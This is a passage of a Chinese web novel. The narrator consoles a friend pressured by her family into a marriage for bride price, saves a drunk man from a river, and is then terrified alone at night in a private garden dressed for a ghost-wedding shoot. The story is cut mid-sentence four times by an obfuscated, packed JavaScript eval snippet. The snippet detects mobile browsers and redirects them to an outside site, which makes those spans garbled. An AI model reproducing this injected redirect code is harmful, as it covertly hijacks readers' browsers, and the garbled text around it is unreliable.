她打算去的地方是元和大厦,前身是民国时期最大的商场——元和百货公司,位于当时的海城最繁华的地界。后来屡经波折,又在原址上翻修扩建,更名为元和大厦后重新开业。 它仍保留了民国时宏伟华丽的欧式外貌,内里装潢在原有的豪华复古上又融合了现代的简约大气,已经是海城的地标建筑。元和大厦汇聚了全球的顶奢品牌,在竞争极为激烈的当下,依然稳坐海城第一商场的宝座。 一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486736|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前是顶级,一百年后还是顶级,这富贵还不够大? 姜与荷以前也去过元和大厦,不过消费足迹仅限于六楼的餐厅。吃完饭她也会去楼下走走消消食,都是边走边看看橱窗而已。反正不会买,她就不进去浪费sales的时间了,服务业都不容易。 她到元和的时候已经快十二点了,很多餐厅还是需要排队。她现在也没有心思挑选,就找了一家客人略少的酸汤火锅店。菜单上大多是辣菜,虽然姜与荷不太能吃辣,但小碗应该会喜欢。 十二点一刻,小碗才姗姗来迟。她看着很疲惫,眼睛还略有点肿。姜与荷问她:“你碰上什么事了啊?” 小碗扯起嘴角淡淡一笑:“没什么,总不过是些家里的事。” 姜与荷感觉她不大想说,也就没再追问,专心等着火锅上菜,顺便问服务员要了一杯白开水。 这家的菜色做得挺地道,得到了小碗的高度评价。也没有姜与荷想象中那么辣,主要是酸香鲜爽,很合她的胃口,配上小碗给她调的蘸料,真是别有一番滋味。 姜与荷猜测这家店客人相对少一些的原因也是太地道,不是所有人都能对酸汤适应良好,像她这样肠胃坚强又富有探索精神的客人还是不多的~~ 真正辣的是一道土豆辣子鸡,姜与荷一时轻敌直接夹了一块就吃,当场被辣得眼前一黑,疯狂咳嗽,喝了大半杯冰镇刺梨汁才稍微压了下去。 这刺梨汁也是小碗以前就推荐给她的,入口又酸又涩,但小碗坚持说对身体好,会经常给她带。她喜欢加点冰镇苏打水,能去掉一些涩味,虽然依旧很酸,但她本来就爱吃酸的,所以觉得这种特别的酸味还不错,喝惯了甚至还有点上瘾。 黄色的刺梨汁加了苏打水后会有一层厚厚的白沫,看上去很像啤酒。在姜与荷看来也差不多,刺梨果汁和小麦果汁,反正都是果汁。 喝完冰饮,喉咙的烧灼感终于平复了大半,麻木的舌头上慢慢返了些鲜香味上来。辣子鸡里面可能还加了点米酒,有股淡淡的香甜酒气。姜与荷熟练地夹起一块鸡块放到白开水里涮涮,再沾点醋解解辣,勉强可以继续吃。 对面的小碗则是无所畏惧,面不改色地大快朵颐,还给她表演了个生吃二荆条,让姜与荷喝着饮料都感觉喉咙一阵幻痛。 “这算啥,我小时候都是拿辣椒当饭的。”小碗的笑容里有点苦涩。 “听说辣椒去湿,你应该没有湿气哦。”姜与荷真诚地表示羡慕。 小碗被她逗笑了,俩人继续开吃,顺便聊聊各自最近听到的八卦。 吃完了愉快的一餐后,她们俩坐着扶梯边走边逛。姜与荷看着眼前这一片纸醉金迷,感觉自己这趟吸足了运势,心中满满的都是安全感。她一时兴起,还买了两张票,请小碗去看了新出的电影。 这是一部中规中矩的喜剧片,虽然有些俗套,但至少能让人笑出来。她对电影的要求也不高,没让她觉得坐着的两个小时很难熬就行了,所以这趟还算值回票价。 小碗却总有些神不守舍,看电影时候兴致也不高。她说想去江边走走,吹吹风,姜与荷便陪她一起出去。 12. 血包的觉醒 元和大厦就在清元江边,她们出来时已经六点多了,此时夕阳仍有余晖,岸边垂柳纷纷,确实是个散步的好去处。这个点人们大多还在大厦里吃晚饭,因此江边没什么行人,长椅大多还空着,她们随便找了个椅子坐下。 小碗没有作声,只是呆呆地看着江面出神,姜与荷便在一边默默陪她坐着。迎面吹来的江风裹挟着一点水腥气,混杂着外面被日头蒸腾了一天的尘土,把她又拉回了现实的世界里。 “我……我真的是受不了了……”小碗突然捂住脸低下头,从喉间发出几声呜咽。她的手指插进细软的黑发里,略显神经质地抓挠着头皮,一点也不在乎带落下的头发。 她的手指有些粗短,手上的皮肤是涂再多护手霜也抹不平的粗糙,上面还留着好几个岁月淡化后的老茧。这样苍老的手,和她纤瘦秀巧的外貌比起来格格不入,就像是从另一具尸体身上偷来,强行拼凑上去的。 “到底还要我怎么做,他们才能看到我的好呢!?”小碗痛苦地问姜与荷,她抬起头,因为悲愤而胀红了脸。她是个温和的人,平时总是笑眯眯地,仿佛什么事都不能让她生气,姜与荷是第一次见到她情绪如此激动。 “你本来就很好,不需要别人看见。”姜与荷大概能猜到她是因为什么而如此痛苦,但是她能给的只有安慰。 小碗和姜与荷说了很多家里的事,仿佛是憋了太久,必须要找个人倾诉。 她的老家在山沟沟里,是姜与荷这种平原地区的人无法想象的大山,是外人进去了绝对逃不出的大山。不用说,她肯定有兄弟,因为那里的男人必须有儿子,那里的女人就必须生儿子,越多越好。 小碗只有一个哥哥,在她们那算是奇观。因为她父亲年轻时候去城里打过几年工,有几分心气,想让孩子以后能走出大山。作为一个见过些世面的人,她爸爸知道孩子太多自己是托不动的,所以不追求多子多福,生到小碗就不生了。 小碗说,她出生的时候爸妈都特别高兴,并没有因为她是女孩子而失望,还让她能和哥哥一样读书。在那个贫困的山村,供两个娃读书是很艰难的事。虽然有义务教育和国家补贴,但是有一个孩子去读书,家里就少了一个劳动力,所以很多人家还是会让孩子辍学。 最先是女孩子们,等到了高中,读书不好的男孩子也会被喊回家,然后出门打工。而小碗爸妈不管多难,都坚持把小碗兄妹俩都供到了大学。 所以小碗从小就特别懂事、特别感恩父母,只要她在家里就拼命干活,割猪草、挖红薯、收苞谷……还有全家的家务,她在家根本没有时间看书。 而她的哥哥什么都不用做,只需要读书。 父母还特意给他收拾了一间干净的书房,比小碗睡觉的屋子还好。但是看看村里那些她半途辍学的小学同学、初中同学,以及很多根本没进过校门的女孩子们,她觉得自己已经非常幸运了。 她一直体谅父母的不容易,从不因自己和哥哥的不同待遇而吵闹,只是拼命努力念书,想着考个好大学,以后找份好工作,让劳累的父母可以享享清福。 所幸她在读书上很有天分,总是学校里的第一名,就这样从乡里考到了市里,又考进了名牌大学,至今在她们县都无人超越。 她还记得高考之后的那天,县里的领导带着政府的奖金,走过崎岖的山路,亲自送来了她的录取通知书。光明的前程在她眼前展开,她本以为那天会是家里最开心的日子,但爸妈却并没有她想象的那么高兴。 因为她的哥哥复读了一年,还是只考上了一所大专。虽然大专在村子里也已经是高材生,但和小碗比起来就不够看了。 相比女儿的成功,显然他们更在意儿子的失败。 县里的奖金都给了爸妈,大学的四年,她是靠奖学金、助学贷款和自己打工做家教支撑下来的,没有拿家里一分钱,反而能时不时寄些钱回去,即使这些钱最后都会成为她哥哥的生活费。 她说她也不在乎,她的钱给哥哥了,爸妈的钱就能自己留着花了,一样的。 真的不在乎吗?真的一样吗?姜与荷不置可否。 小碗突然转头问她:“你知道为什么我每顿都必须吃一小碗米饭吗?” 姜与荷想了想,回道:“是你家里的原因吗?” “我小时候家里只能吃洋芋、吃苞谷,后面条件慢慢好了点,但是白米还是少,要留给爸爸和哥哥吃。妈妈说爸爸要干活下力气,哥哥要读书用脑子,先让他们吃好,我们女人吃点剩下的就行了。” “但是总剩不下。后来因为我成绩好,市里一所民办高中开了很好的条件让我去,还包了我的所有费用,在那里我才第一次吃上白米饭。我回家开心地和妈妈说学校的食堂多好吃,有白米饭还有肉,却被她狠狠地骂了一顿。她说家里人都在过苦日子,你却一个人在外面好吃好喝,还回家炫耀,是个人吗?” “从那以后,我每次吃饭都不开心,都会想到我爸妈只能在家吃着洋芋和辣椒。我很喜欢吃米饭,但是直到现在,我都只敢吃一小碗,吃多了就会有负罪感,就会想吐……”小碗说到后面已经泣不成声。 姜与荷不知道怎么安慰,只能说道:“你的工资都寄回家里去了吧,总够你爸妈在老家过上好日子了。” “不够的。我家以前欠了很多债,爸妈还要在村里造新房,我哥哥也要在城里买房子,还要娶老婆……”小碗的声音里有种累到极致的麻木。 她大学里仍然成绩优异,可以保送研究生,因为家里实在缺钱,只能放弃保研,本科毕业就出来工作,但她也才工作了三年啊…… 像,太像了……姜与荷想起了她大学的一个舍友。 同样的山村出身、同样的优秀努力、同样有指望着她的父母兄弟……那个舍友常常在宿舍里因为父母的索求无度和偏心无情而痛哭,但哭完之后又会拼命想办法满足父母,如此往复,无休无止。 那时候姜与荷二十岁不到,算是年轻冲动,看着舍友这么来回折腾实在烦躁,有次很不客气地和她说:“有那钱留给自己花吧,做得再多他们也不会爱你的!” 舍友听完愣了一会,然后跳起来,异常激动地痛骂姜与荷。她骂了什么姜与荷已经记不清了,只记得她瞬间涨红的脸,和那双盈满泪水的哀痛的眼睛。 为此姜与荷后悔至今,既然自己没有拯救别人的能力,为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486737|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要额外再给别人增添伤害?后来她跟舍友道歉,舍友也没再计较她的冒犯,在后面的大学生涯中依然会照顾她,也依然勤勤恳恳为家里付出。 疏不间亲,是她从此刻烟吸肺的四个字。 没有把刀架在脖子上的,都不算逼迫,都不需要外人来指手画脚。 “我能帮你什么吗?”作为朋友,能做的也只是在她需要的时候拉一把。 小碗闻言,却突然哭出了声:“我爸妈叫我回家结婚,说已经给我找了个好人家,我是大学生,人家愿意给50万彩礼……我知道,这个钱是拿来给我哥哥娶老婆用的……” “为什么就没人为我想想呢?你都愿意帮我,为什么我家里人不肯帮我呢……”她喃喃自语。 “真正能帮你的人只有你自己啊。”姜与荷没忍住,还是多嘴说了一句。 不知道小碗有没有听见,她只是低头捂住脸,哭得浑身颤抖。 那样极端贫困的条件,即使是小碗天赋异禀、靠自己争取了许多补助,但能让她有出去念大学的机会,她的父母也确实付出了很多,不能说不爱她。 只是什么都经不起比较,和对她哥哥的爱比起来,对小碗的爱就太轻了。 姜与荷阴暗地想,她出生时父母的高兴,究竟是因为顺利生了孩子,还是因为顺利生了血包? 许多人是这样的,既瞧不起女人的性别,又离不开女人的付出。 姜与荷的父母早早离异,双方都不要她,她一直是跟着姜老太长大的。其实离婚前主要也是姜老太在照顾她,她记忆里并没有什么一家三口的温馨画面。 她在大人们的闲言碎语中大致拼凑出了原因,姜父姜母是那个年代流行的包办婚姻,没想到俩人实在是不对付,婚后从相看两厌迅速升级到相看两恨,最后终于成了她们村第一对离婚的夫妻。 厌恶的人生的孩子,自然喜欢不起来了。 现在的姜与荷,除了对上一辈人这种互相憎恶却仍能一起睡觉生娃的关系表示惊叹,其他也没有太多的感觉了。 没有期望就没有失望,而她已经过了满怀期望的年纪。 和小碗父母这种精打细算的“爱”比起来,她觉得自己父母这种直截了当的“不爱”也能算是一种仁慈。 “你现在打算怎么办?”哭不能解决任何问题。 小碗抬起头,眼睛红肿,目光茫然:“我……我不想回去嫁人,但我也没有50万啊……” 感觉她不太坚定,姜与荷有点着急:“你要想好,你花了多少力气才走出了大山,现在再回去,那你以前读的书算什么?” “算什么……算什么呢……”小碗轻声重复。 姜与荷很想晃晃她的脑袋,把里面的水倒出来,但是她不能,只能希望她自己想明白。 这时候,边上的长椅上突然摇摇晃晃站起来一个人,把姜与荷吓了一跳。那人穿着一身米棕色西装,跟长椅的颜色很接近,刚才又拿外套蒙住了头,不仔细看还真发现不了。 只见那人一步三摇,摇着摇着,“噗通”一声,摇进了清元江里。 不是吧大哥???今天到底什么日子啊……姜与荷焦头烂额。 13. 借钱 这条路上现在看不到什么行人,等警察来救肯定来不及,小碗又是个旱鸭子,目前看来只有自己下水救他了…… 姜与荷虽然是个不爱多事的人,但也做不到什么都不干,眼睁睁看着一个大活人淹死。 救助溺水者是个很危险的事,因为溺水者的求生本能会让他不顾一切死死攀住救助者,很容易使双方都陷入险境。姜与荷虽然自小长在水乡,水性极好,也没有完全的把握能捞上来一个意识不清的大男人。 她并没有伟大到为了别人的生命而不顾自己的生死,万一被对方死缠住往下拖,她肯定会一脚踹开,先保自己。 从绿化带里拆了根支撑树木用的竹竿递给小碗,嘱咐她看情况递过来,姜与荷就跳下水救人。还好那人离江边不远,好像还没意识到自己已经落水,只是凭本能在水里扑腾,看那架势应该也是会游泳的。 她冲那人大喊“把手给我!”,他也乖乖地伸出了手,可能是对方喝醉了的原因,根本没有落水者的惊慌失措。 救人过程很顺利,都不需要小碗帮忙,只是姜与荷被对方身上冲天的酒气熏得直皱眉,不知道哪来的醉鬼,大白天的就喝成这样? 真是受不了这些又菜又爱喝的人了! 上岸后姜与荷拍着他的背,那人咳出了不少水,但看着没什么大碍,就是迷迷瞪瞪的,还没醒酒呢。 姜与荷这会才看清对方的脸,是出乎她意料的俊美。即使闭着眼,眉宇间也自有一股风流蕴藉。 可惜了,一个醉鬼长这么帅,真是浪费,姜与荷摇头叹息。 她下水前已经打了报警电话,估摸着警察也快来了。本来她准备立马走人,但是又突然想到网上那些送锦旗的新闻,她也忍不住想,这个人会不会给我送锦旗呢? 会从公司大堂开始一层层问吗?公司会让她升职加薪吗?她越想越开心,差点笑出来的时候又想到,公司是私企,是不是不看重这个啊? 她在胡思乱想的时候,小碗接了个电话,只听见她大喊了句“求求你们别再逼我了!”然后就挂掉电话直往前冲。姜与荷也顾不上什么锦旗不锦旗的了,连忙追了上去。反正地上的人没啥大碍,警察叔叔会带他回派出所的。 地上的醉鬼迷迷糊糊张开眼睛,看见的就是一个浑身湿透的背影。他的头很疼,闭上眼想继续睡觉,就感觉下巴咯到了什么东西。 费力地拿起一看,是一个用红绳系着的翡翠小葫芦。把它捏在手心里,他又昏睡过去。 这时,有位衣着精致的年轻女子路过,先是被地上湿漉漉的人吓了一跳,待看清那人的脸后,她迅速蹲下,拿出手帕为他擦干水珠。 警察这时也到了,她和警察解释了一番,然后打电话叫来等在附近的司机,扶着这人上了车。 姜与荷并不知道后续发生的一切,她好不容易追上了小碗,现在正一起坐在回家的出租车上,还是加了钱司机才肯让她上车。 湿透的衣服让她浑身难受,今天发生的一切更是让她筋疲力尽。怎么办,越来越相信半仙说的话了,自己这倒霉运势难道元和大厦都压不住? 真是恐怖如斯…… 回到家,她迅速冲了个澡,穿衣服的时候她才发现自己一直戴着的翡翠吊坠不见了。 可惜了,这还是她高中时姜老太特意托村里去云南玩的老姐妹带回来的,糯冰的底子,淡淡的苹果绿,不算贵重却很合她的眼缘,她戴了将近十年了。 救人反而丢了东西,今天真的是倒了血霉……这劫这么凶的吗?难道小葫芦是替她挡灾了?姜与荷脑子里一片混乱,最后也只有一声叹息。 出来时小碗正坐在客厅的懒人沙发里,一脸颓靡地看着窗外。此时天色渐暗,落日的余晖打在她脸上,让她看起来像是一缕马上要消散的精魄。 姜与荷犹豫了半天,还是开口了:“我可以借你5万。” 小碗闻言转头看向她,眼神里带点疑惑和惊讶。 她补充道:“如果你要凑钱给你爸妈,我可以借你5万,你也不需要急着还。” 这年头,借钱是个高风险零收益的操作,姜与荷已经默认借钱=送钱。即使相信小碗的人品,但是她习惯把最坏的情况都考虑到。5万已经是她这个小气鬼能接受的最高限度了,再多她真的会心痛到无法转账。 小碗听后的反应却很奇怪,并没有她想象中的感动,她只是愣了一会,然后突然大声地笑了出来,笑着笑着又掉了眼泪。 她问姜与荷:“我准备凑50万给我爸妈,就当是买断的钱,之后家里的事情与我再无关系,都让我哥哥负责,你觉得怎么样?” 姜与荷想了一会,小心斟酌着用词,慢吞吞地跟她说:“我觉得……你爸妈会收下钱,也会答应你,但是……嗯……诚实守信是种很高贵的品质……” “拥有这种高贵品质的人,一般也不会这样对待自己的孩子。” 小碗闻言也没有多大的反应,只是嘲讽地笑了笑。 姜与荷没有再多说什么,她觉得作为朋友,再说就不礼貌了,成年人要有点边界感。 俩人就这样沉默地坐着,姜与荷还放了个电视剧充当背景音,让气氛没那么尴尬。小碗平复了一会心情就准备回去,姜与荷觉得她情绪不好,想留她今晚住下,但被小碗坚决拒绝了。 她站在门口,认真地说:“我的事情总要我自己解决,我已经想好了,不会再被家里摆布。这么多年,我敢说我对家里没有亏欠。”说完,她便转身走了。 姜与荷相信她的决心是真的,只是不知道她的决心能坚持多久……挣扎、痛哭、控诉、和好,她在大学时代已经见过了无数次这样的场景。 越缺什么就越渴望什么,人性大多如此。太渴望得到爱,所以被伤害也不肯离开,所以越来越被人轻贱、视如尘土。除非自己想通,否则外人根本无法解开如此强烈的执念。 谁对她好,她就对谁好,作为一个命途略有小舛的普通女孩,这是姜与荷为数不多的人生智慧。 第二天又是讨人厌的星期一,姜与荷一进办公室就收到了一个不知道算好还是算坏的消息:周英然被任命为一档新综艺的制作人,而她被调去“辅助”周女士的工作——也就是给她打杂。 虽然说这应该算是她事业上的进步,但是想到要成为卷王的手下,她还是对咸鱼老张生出了几分留恋。但是再留恋也没用,她只能在老张三分鼓励七分幸灾乐祸的眼神中收拾东西,搬到项目组的临时办公室里。 不要怕,新任领导和她也有“地下关系”,她仍然还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486738|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系户! 周英然主持的新项目是一档类似于沉浸式剧本杀的真人秀,走悬疑推理路线,每期一个案件,需要嘉宾扮演不同的角色破案。这在目前国内算是比较新颖的形式,因此也没有多少可以借鉴参考的资料,这就代表了巨大的工作量,使得姜与荷刚进项目就忙得晕头转向,不知今夕是何夕。 真的跟了项目姜与荷才知道一档节目的背后工作有多么纷繁复杂,脚本、道具、摄影、人员调度、后勤保障……以及明星们难以协调的档期。 虽然她只负责一些边缘工作,但也是心力交瘁,工作能力是真的飞速提升,但是累也是真累,她越干越怀念跟着老张摸鱼的时光…… 至于总管项目的周英然,简直是超人、神人,她挣多少钱姜与荷都一点不眼红。每次她一脸颓靡地望着正神采奕奕发号施令的周女士,都要感叹一下世界的参差。 明明她还小5岁,但是站在周女士面前,总觉得她生机勃勃,而自己丧得像具尸体。 忙过了晕头转向的第一周,姜与荷在周日才获得了半天可怜的休假。她睡了一个漫长的午觉,醒来才突然想到,是不是应该打个电话问问小碗那边是什么情况? 这周她忙忘记了,小碗也没联系过她,别是被家里人绑回去嫁人了吧?想到这种情况,她连忙摸出手机打电话。 小碗那边很快接了起来:“喂?小荷?” 她的语气很轻松,看起来应该没发生什么不好的事,姜与荷放下心来:“我就是想问问你家里的事解决得怎么样了,有需要直接跟我说,我的5万块给你准备着呢。” 那头轻笑了一下:“不用啦,差不多算解决了吧,我不会回去嫁人的。” “你说通你爸妈啦?”姜与荷很是惊讶,她爸妈这么通情达理的吗?原来是自己太阴暗了? “不是,我辞职了,我已经离开海城了。”小碗的声音平和舒缓。 “哦……啊??!!不是,你……”姜与荷被这个消息震得失去了语言组织能力,她怎么都算不到温温柔柔的小碗,一出手就是这么一个大招。 她是真的有点急了:“你知道你在干什么吗?!” 从贫困山村到一线城市,这一路小碗是踩着泥土和沙石,一步一个脚印地走过来的,现在就这么放弃了?现在竞争越来越激烈,她辞职后不一定能再找到这样待遇的工作了。 姜与荷脑子里想了很多,但是一时之间不知道如何开口。 小碗仿佛知道她在想什么,反过来安慰她:“不用为我惋惜,我在这里挣再多都不属于我自己,辞职后我才能为自己活。” “我跟爸妈沟通过,但是完全没用,”她无奈地笑了笑。 “我家里人都知道我的公司和我住的地方,以前只要我不听话他们就要来闹,我不想再浪费心力和他们纠缠。反正没人在乎我的想法,他们只是要我给钱,我就想干脆换个地方重新开始吧。我刚搬完家,想安顿好了再联系你。” 她淡淡地带过了“沟通”的过程,但姜与荷知道这肯定又是一场痛苦的拉锯战,也许就是这次“沟通”让小碗终于下定了决心。 姜与荷不得不承认自己真的小看了她,小碗温和沉默的外表下,是辣妹子那颗被如何践踏都踩不灭的、炽热勇敢的心。 14. 清和小筑 知道了小碗的现状,姜与荷也放下心来。挂断电话前,小碗问她:“你知道为什么我这次能下定决心吗?” “……因为你终于发现你跟家里不可能谈拢?” “不是的,是因为你说要借我5万块。” “嗯?!”姜与荷真的没想到是这个原因,毕竟这钱她并没有要。 “我知道你的意思,你已经做好了我还不上钱的准备。这笔钱对你来说也不是小数目,我们认识还不到一年,你就愿意为了我的前途送我5万;而我自己的亲人却只想把我榨干,根本不在乎我以后的人生。” “我求他们让我继续在这上班,我每年都能寄钱回家。但他们等不及了,村里比我哥哥还小的都已经当爹了,他还没结成婚。他的女朋友是城里人,必须要有城里的房子才肯点头。我的事业我的未来在他们眼中一文不值,他们只在乎我的哥哥能快点娶上老婆。” “当时我就觉得太可笑了……我的家人可笑,为了这样的家人拼命付出的我更可笑。” “所以我才决定离开,我也想活得像个人。” “我一辈子都会感谢你,有空你一定要来找我玩。我现在在一个海滨城市,这里的天空一直很美。” 挂断电话,姜与荷的心情有种说不上来的复杂。没转出去的5万块,居然会成为小碗挣开枷锁的引子。她的人生如果多遇到一点善意,会不会就能更早地获得反抗的勇气呢? 第二天又是一个周一,这天她们的《寻神搜诡》节目组开始了第一期的场景布置,姜与荷也跟去了现场。观声应该是很看好这个项目,各方面都很大手笔,每一期都会根据内容选择不同的拍摄场景。 第一期是一个古代背景的案件,因此拍摄地选在了一个古典园林。 这个园子是明清时期的古建筑,名字叫清和小筑,实际上一点也不小,反而大得让姜与荷刚进去就迷路。听其他同事说这里是私家园林,平时并不对外开放,也不知道周女士是怎么搞来的,真是神通广大。 他们被允许拍摄的区域是后院,有亭台水榭,以及很大一片池塘。 池内绿荷浮香,鱼跃清波,周围草木葱茏,胜景如画,这个园子一看便知是出自大师手笔。姜与荷对这次公费旅游的机会很满意,在这儿干活总比在办公室敲键盘做报表强多了。 这期的剧本有冥婚情节,他们正在搭建喜堂。姜与荷也跟着打打下手,看一看实景布置和设计图的还原度怎么样。 工人们忙忙碌碌,大红色的绸缎挂满了里里外外,在灿烂阳光的照耀下显得无比的热闹喜庆。喜堂的陈设道具也都古色古香,非常讲究,很多都是专门定制的,样式和做工都非市面通货可比。 这么好的布景,拍完就拆真是太可惜了,要是租出去给人办婚庆那得多合适、多赚钱啊……姜与荷为着不属于自己的钱操起了心。 帮着做了半天布置,她感觉又累又困。场务给大家订了甜品和奶茶咖啡当下午茶,姜与荷拿着自己那份迅速溜去了一个她早看好的地方。 那里是临水的一个不起眼的小平台,有屏风隔开,很是隐蔽,还设了一张贵妃榻,简直是休闲小憩的宝地。 这张贵妃榻色泽黑中泛紫,木质光润似缎,无论是不是古董都绝非凡品。一想到这肯定是她这辈子都高攀不起的价格,姜与荷便忙不迭地躺了上去,心中油然而生一种占了天大便宜的满足感。 抬眼是清园雅风,低头是奶茶甜品,再吹吹小风刷刷手机,那叫一个惬意~ 摸鱼摸得太舒服的后果就是她不知不觉睡着了。 其实睡着了也不是什么大问题,问题是她醒来发现大家好像都走光了。 放在平时这也根本不算事儿,她打个车回去就行,但问题是现在就她、一个人、在晚上、呆在这个巨大空旷的古宅啊! 要不说大房子得人多才能压得住呢,姜与荷此刻一个人站在这个大得看不到出口的庭院里,四周一片静谧,只偶尔听得见一两声蛙鸣,她蓦地有种自己已经被全世界抛弃了的感觉。 她醒来时天已经黑了,整个宅子就剩下白天刚挂上去的大红灯笼还亮着,发出几点昏黄朦胧的光。白天看着热烈欢乐的喜堂,在漆黑的夜色中却莫名地诡异起来。 大红色的装饰布景仍然完好精致,巨大的“囍”字贴在厅堂正中,上方吊着两盏幽暗的灯笼,被风吹得摇摇晃晃。 在那点半死不活的灯光映照下,“囍”字中间的两个“口”,模模糊糊地变成了两只诡秘的眼睛,静静地看着这个空空荡荡的喜堂,和门口的姜与荷。 打住,不能再乱想了!姜与荷被自己吓得起了一身鸡皮疙瘩,她快步走开,想找到出去的路。 可是现在夜色深重,外面一片漆黑,唯一的光源就是喜堂附近的几盏灯笼。就连白天看着诗情画意的荷塘,现在都透着一股怪异。 黑色的湖面反射出一点微弱的粼粼波光,让她控制不住地想水面下会不会藏着什么东西? 作为一个脑补能力很强、喜欢看怪谈视频但只敢开声音、又菜又爱玩的怂包,她现在是真的不敢轻举妄动。白天她都能迷路,晚上肯定也只是乱窜。 她刚想到可以开手机的手电筒照明,下一秒脑子里就已经冒出在一片黑暗中,她的手机突然照到什么“东西”的画面了……在自己吓自己这方面,她从小就很有天赋。 她急得额头冒汗,思考着目前的情况能不能报警,实在不行打电话求周英然来捞她吧。掏出手机按亮屏幕,在7:50的时间显示下面是日历,日历上用醒目的红色字体标注着“中元节”。 “小心七月半……” 她立马回想起那天碰见的半仙,难道他说的都是真的?她真的碰到邪祟了?? 姜与荷腿一软差点跪倒在地,她此刻真的好希望自己能直接晕过去,躺到第二天早上再醒过来。怪不得大家都不赶进度,早早下班呢…… 哪个杀千刀的想出来中元节布置冥婚喜堂啊!!这跟草菅人命有什么区别!!! 还有大师……大师!你是真正的神仙!我为自己的狗眼不识泰山真心忏悔,求求你来救救我吧!!! 姜与荷是真的哭了。 她被吓得完全不敢动弹,不管会不会被骂浪费警力她都要报警了,现在只有公安机关的制服才能带给她安全感! 她哆嗦着手拨号,可极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486739|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度恐惧下的五感却偏偏又变得极度灵敏。余光里她好像看到了一个黑色的人形物体,影影绰绰,身段缥缈,像披了件宽大的外袍。 那个方向,是喜堂的方向……姜与荷的脑子有一瞬间的空白,然后拔腿就开始狂奔。 她不知道自己有没有发出尖叫,也不知道奔向的是什么地方,只知道跑!跑!跑!不要回头!!! 她慌不择路,像个无头苍蝇一样到处乱窜。 她也根本不敢往边上看,只知道自己路过很多黑洞洞的屋子。那些雕花刻镂的窗棂此刻都是完美的掩蔽体,每一个小格子后面都像藏着一只幽暗的眼睛。 不知道跑了多久,可能是很久,也可能是一瞬。她感觉不到身体上的疲累,只听得见自己擂鼓般的心跳。 她无法控制地胡思乱想,自己身后是空无一物,还是有“东西”紧紧跟随? 抑或是正贴着她的背,等待她忍不住转头看一眼?甚至干脆就骑在她的脖子上…… 刚想到这里,她仿佛真的觉得身子一沉,好似负重跑了八百米,脖子像被勒紧了一样透不过气。熟悉的疼痛和疲乏感又上来了……她还是不敢停下奔跑,但是身体已经快要到极限了…… 姜与荷这辈子都没这么绝望过,她感觉自己今天就要交代在这里了。报道的标题会是什么呢?“震惊!一女子古宅内突发精神病,狂奔一晚惊惧而死!” 多好的小说题材啊,要是有人想改编记得给她烧点版权费…… 她真的是服了自己这不合时宜的想象力了,需要的时候脑内干涸如枯井,越是死到临头越能迸发灵感。 恐惧刺激出的肾上腺素快用完了,她现在头痛欲裂,实在是跑不动了,要不找根柱子撞晕过去吧…… 就在她准备放弃抵抗的时候,前方突然打开了一扇小门。 门内倾泻出暖黄色的光,有一个高大颀长的人走了出来。他背着光,所以看不清面目,姜与荷只能看见一个黑色的人影。 正常情况下,看见有人来开门,她应该欣喜若狂自己得救了,之前的一切纯纯都是她自己瞎想。 可惜现在极度紧张的神经已经受不了任何风吹草动,突然出现的人影在她眼中只是又叠了一层诡异buff,她看见后的第一反应是—— “啊啊啊啊啊怎么还有一只鬼啊!!!” 各种灵异恐怖小说的情节争前恐后地从她脑子里涌出来,前面这个是大boss吗?会不会是骗她过去的陷阱?她要转身逃吗,可她不敢回头啊! 恐惧达到了顶点,这次她终于真切地听见了自己的尖叫声。她不敢前进更不敢后退,干脆冲进了左手边的花圃里。 她看不清脚下,只能磕磕绊绊地往前跑。借着门内的余光,能看见前面是一片湖水。 身后好像有脚步声跟来,但她已经没有任何力气再思考要怎么办了,大不了跳湖一了百了,爱咋咋地吧!! 把心一横,她闭着眼睛往前冲。 在准备起跳的前一秒,她感觉自己被一双手牢牢抓住,然后跌进了一个冰凉的怀抱中。 “完了,我要没了。” 这是她昏迷前最后的意识。 15. 这个大腿抱定了 姜与荷是在一片光亮中醒来的。 